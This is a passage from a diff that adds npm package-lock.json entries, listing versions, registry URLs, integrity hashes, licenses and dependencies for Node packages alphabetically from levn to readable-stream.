"sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==", + "license": "MIT", + "dependencies": { + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/libphonenumber-js": { + "version": "1.12.30", + "resolved": "https://registry.npmjs.org/libphonenumber-js/-/libphonenumber-js-1.12.30.tgz", + "integrity": "sha512-KxH7uIJFD6+cR6nhdh+wY6prFiH26A3W/W1gTMXnng2PXSwVfi5MhYkdq3Z2Y7vhBVa1/5VJgpNtI76UM2njGA==", + "license": "MIT" + }, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", + "license": "MIT" + }, + "node_modules/lru-cache": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", + "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", + "license": "ISC" + }, + "node_modules/make-fetch-happen": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/make-fetch-happen/-/make-fetch-happen-9.1.0.tgz", + "integrity": "sha512-+zopwDy7DNknmwPQplem5lAZX/eCOzSvSNNcSKm5eVwTkOBzoktEfXsa9L23J/GIRhxRsaxzkPEhrJEpE2F4Gg==", + "license": "ISC", + "optional": true, + "dependencies": { + "agentkeepalive": "^4.1.3", + "cacache": "^15.2.0", + "http-cache-semantics": "^4.1.0", + "http-proxy-agent": "^4.0.1", + "https-proxy-agent": "^5.0.0", + "is-lambda": "^1.0.1", + "lru-cache": "^6.0.0", + "minipass": "^3.1.3", + "minipass-collect": "^1.0.2", + "minipass-fetch": "^1.3.2", + "minipass-flush": "^1.0.5", + "minipass-pipeline": "^1.2.4", + "negotiator": "^0.6.2", + "promise-retry": "^2.0.1", + "socks-proxy-agent": "^6.0.0", + "ssri": "^8.0.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/make-fetch-happen/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "license": "ISC", + "optional": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/make-fetch-happen/node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "license": "ISC", + "optional": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/md5": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/md5/-/md5-2.3.0.tgz", + "integrity": "sha512-T1GITYmFaKuO91vxyoQMFETst+O71VUPEU3ze5GNzDm0OWdP8v1ziTaAEPUr/3kLsY3Sftgz242A1SetQiDL7g==", + "license": "BSD-3-Clause", + "dependencies": { + "charenc": "0.0.2", + "crypt": "0.0.2", + "is-buffer": "~1.1.6" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-response": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", + "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/minipass": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz", + "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==", + "license": "ISC", + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/minipass-collect": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/minipass-collect/-/minipass-collect-1.0.2.tgz", + "integrity": "sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==", + "license": "ISC", + "optional": true, + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/minipass-collect/node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "license": "ISC", + "optional": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/minipass-fetch": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/minipass-fetch/-/minipass-fetch-1.4.1.tgz", + "integrity": "sha512-CGH1eblLq26Y15+Azk7ey4xh0J/XfJfrCox5LDJiKqI2Q2iwOLOKrlmIaODiSQS8d18jalF6y2K2ePUm0CmShw==", + "license": "MIT", + "optional": true, + "dependencies": { + "minipass": "^3.1.0", + "minipass-sized": "^1.0.3", + "minizlib": "^2.0.0" + }, + "engines": { + "node": ">=8" + }, + "optionalDependencies": { + "encoding": "^0.1.12" + } + }, + "node_modules/minipass-fetch/node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "license": "ISC", + "optional": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/minipass-flush": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/minipass-flush/-/minipass-flush-1.0.5.tgz", + "integrity": "sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==", + "license": "ISC", + "optional": true, + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/minipass-flush/node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "license": "ISC", + "optional": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/minipass-pipeline": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz", + "integrity": "sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==", + "license": "ISC", + "optional": true, + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/minipass-pipeline/node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "license": "ISC", + "optional": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/minipass-sized": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/minipass-sized/-/minipass-sized-1.0.3.tgz", + "integrity": "sha512-MbkQQ2CTiBMlA2Dm/5cY+9SWFEN8pzzOXi6rlM5Xxq0Yqbda5ZQy9sU75a673FE9ZK0Zsbr6Y5iP6u9nktfg2g==", + "license": "ISC", + "optional": true, + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/minipass-sized/node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "license": "ISC", + "optional": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/minizlib": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz", + "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==", + "license": "MIT", + "dependencies": { + "minipass": "^3.0.0", + "yallist": "^4.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/minizlib/node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/mkdirp": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-3.0.1.tgz", + "integrity": "sha512-+NsyUUAZDmo6YVHzL/stxSu3t9YS1iljliy3BSDrXJ/dkn1KYdmtZODGGjLcc9XLgVVpH4KshHB8XmZgMhaBXg==", + "license": "MIT", + "bin": { + "mkdirp": "dist/cjs/src/bin.js" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/mkdirp-classic": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", + "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==", + "license": "MIT" + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT", + "optional": true + }, + "node_modules/multimatch": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/multimatch/-/multimatch-7.0.0.tgz", + "integrity": "sha512-SYU3HBAdF4psHEL/+jXDKHO95/m5P2RvboHT2Y0WtTttvJLP4H/2WS9WlQPFvF6C8d6SpLw8vjCnQOnVIVOSJQ==", + "license": "MIT", + "dependencies": { + "array-differ": "^4.0.0", + "array-union": "^3.0.1", + "minimatch": "^9.0.3" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/napi-build-utils": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/napi-build-utils/-/napi-build-utils-2.0.0.tgz", + "integrity": "sha512-GEbrYkbfF7MoNaoh2iGG84Mnf/WZfB0GdGEsM8wz7Expx/LlWf5U8t9nvJKXSp3qr5IsEbK04cBGhol/KwOsWA==", + "license": "MIT" + }, + "node_modules/negotiator": { + "version": "0.6.4", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.4.tgz", + "integrity": "sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/node-abi": { + "version": "3.85.0", + "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.85.0.tgz", + "integrity": "sha512-zsFhmbkAzwhTft6nd3VxcG0cvJsT70rL+BIGHWVq5fi6MwGrHwzqKaxXE+Hl2GmnGItnDKPPkO5/LQqjVkIdFg==", + "license": "MIT", + "dependencies": { + "semver": "^7.3.5" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/node-addon-api": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz", + "integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==", + "license": "MIT" + }, + "node_modules/node-gyp": { + "version": "8.4.1", + "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-8.4.1.tgz", + "integrity": "sha512-olTJRgUtAb/hOXG0E93wZDs5YiJlgbXxTwQAFHyNlRsXQnYzUaF2aGgujZbw+hR8aF4ZG/rST57bWMWD16jr9w==", + "license": "MIT", + "optional": true, + "dependencies": { + "env-paths": "^2.2.0", + "glob": "^7.1.4", + "graceful-fs": "^4.2.6", + "make-fetch-happen": "^9.1.0", + "nopt": "^5.0.0", + "npmlog": "^6.0.0", + "rimraf": "^3.0.2", + "semver": "^7.3.5", + "tar": "^6.1.2", + "which": "^2.0.2" + }, + "bin": { + "node-gyp": "bin/node-gyp.js" + }, + "engines": { + "node": ">= 10.12.0" + } + }, + "node_modules/node-gyp/node_modules/brace-expansion": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", + "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", + "license": "MIT", + "optional": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/node-gyp/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Glob versions prior to v9 are no longer supported", + "license": "ISC", + "optional": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/node-gyp/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "license": "ISC", + "optional": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/nopt": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz", + "integrity": "sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==", + "license": "ISC", + "optional": true, + "dependencies": { + "abbrev": "1" + }, + "bin": { + "nopt": "bin/nopt.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npmlog": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-6.0.2.tgz", + "integrity": "sha512-/vBvz5Jfr9dT/aFWd0FIRf+T/Q2WBsLENygUaFUqstqsycmZAP/t5BvFJTK0viFmSUxiUKTUplWy5vt+rvKIxg==", + "deprecated": "This package is no longer supported.", + "license": "ISC", + "optional": true, + "dependencies": { + "are-we-there-yet": "^3.0.0", + "console-control-strings": "^1.1.0", + "gauge": "^4.0.3", + "set-blocking": "^2.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + } + }, + "node_modules/object-is": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.1.6.tgz", + "integrity": "sha512-F8cZ+KfGlSGi09lJT7/Nd6KJZ9ygtvYC0/UYYLI9nmQKLMnydpB9yvbv9K1uSkEu7FU9vYPmVwLg328tX+ot3Q==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.assign": { + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.7.tgz", + "integrity": "sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0", + "has-symbols": "^1.1.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "license": "ISC", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/opencollective-postinstall": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/opencollective-postinstall/-/opencollective-postinstall-2.0.3.tgz", + "integrity": "sha512-8AV/sCtuzUeTo8gQK5qDZzARrulB3egtLzFgteqB2tcT4Mw7B8Kt7JcDHmltjz6FOAHsvTevk70gZEbhM4ZS9Q==", + "license": "MIT", + "bin": { + "opencollective-postinstall": "index.js" + } + }, + "node_modules/optionator": { + "version": "0.8.3", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz", + "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==", + "license": "MIT", + "dependencies": { + "deep-is": "~0.1.3", + "fast-levenshtein": "~2.0.6", + "levn": "~0.3.0", + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2", + "word-wrap": "~1.2.3" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/p-map": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", + "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "aggregate-error": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/package-json-from-dist": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz", + "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==", + "license": "BlueOak-1.0.0" + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-scurry": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz", + "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==", + "license": "BlueOak-1.0.0", + "dependencies": { + "lru-cache": "^10.2.0", + "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" + }, + "engines": { + "node": ">=16 || 14 >=14.18" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/possible-typed-array-names": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.1.0.tgz", + "integrity": "sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/prebuild-install": { + "version": "7.1.3", + "resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-7.1.3.tgz", + "integrity": "sha512-8Mf2cbV7x1cXPUILADGI3wuhfqWvtiLA1iclTDbFRZkgRQS0NqsPZphna9V+HyTEadheuPmjaJMsbzKQFOzLug==", + "license": "MIT", + "dependencies": { + "detect-libc": "^2.0.0", + "expand-template": "^2.0.3", + "github-from-package": "0.0.0", + "minimist": "^1.2.3", + "mkdirp-classic": "^0.5.3", + "napi-build-utils": "^2.0.0", + "node-abi": "^3.3.0", + "pump": "^3.0.0", + "rc": "^1.2.7", + "simple-get": "^4.0.0", + "tar-fs": "^2.0.0", + "tunnel-agent": "^0.6.0" + }, + "bin": { + "prebuild-install": "bin.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/prelude-ls": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", + "integrity": "sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w==", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/process": { + "version": "0.11.10", + "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz", + "integrity": "sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==", + "license": "MIT", + "engines": { + "node": ">= 0.6.0" + } + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "license": "MIT" + }, + "node_modules/promise-inflight": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz", + "integrity": "sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g==", + "license": "ISC", + "optional": true + }, + "node_modules/promise-retry": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-2.0.1.tgz", + "integrity": "sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==", + "license": "MIT", + "optional": true, + "dependencies": { + "err-code": "^2.0.2", + "retry": "^0.12.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/proxy-from-env": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", + "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==", + "license": "MIT" + }, + "node_modules/pump": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.3.tgz", + "integrity": "sha512-todwxLMY7/heScKmntwQG8CXVkWUOdYxIvY2s0VWAAMh/nd8SoYiRaKjlr7+iCs984f2P8zvrfWcDDYVb73NfA==", + "license": "MIT", + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/rc": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz", + "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==", + "license": "(BSD-2-Clause OR MIT OR Apache-2.0)", + "dependencies": { + "deep-extend": "^0.6.0", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" + }, + "bin": { + "rc": "cli.js" + } + }, + "node_modules/readable-stream": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", + "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", + "license": "MIT", + "dependencies": { + "abort-controller": "^3.0.0", + "buffer": "^6.0.3", + "events": "^3.3.0", + "process": "^0.11.10", + "string_decoder": "^1.3.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, 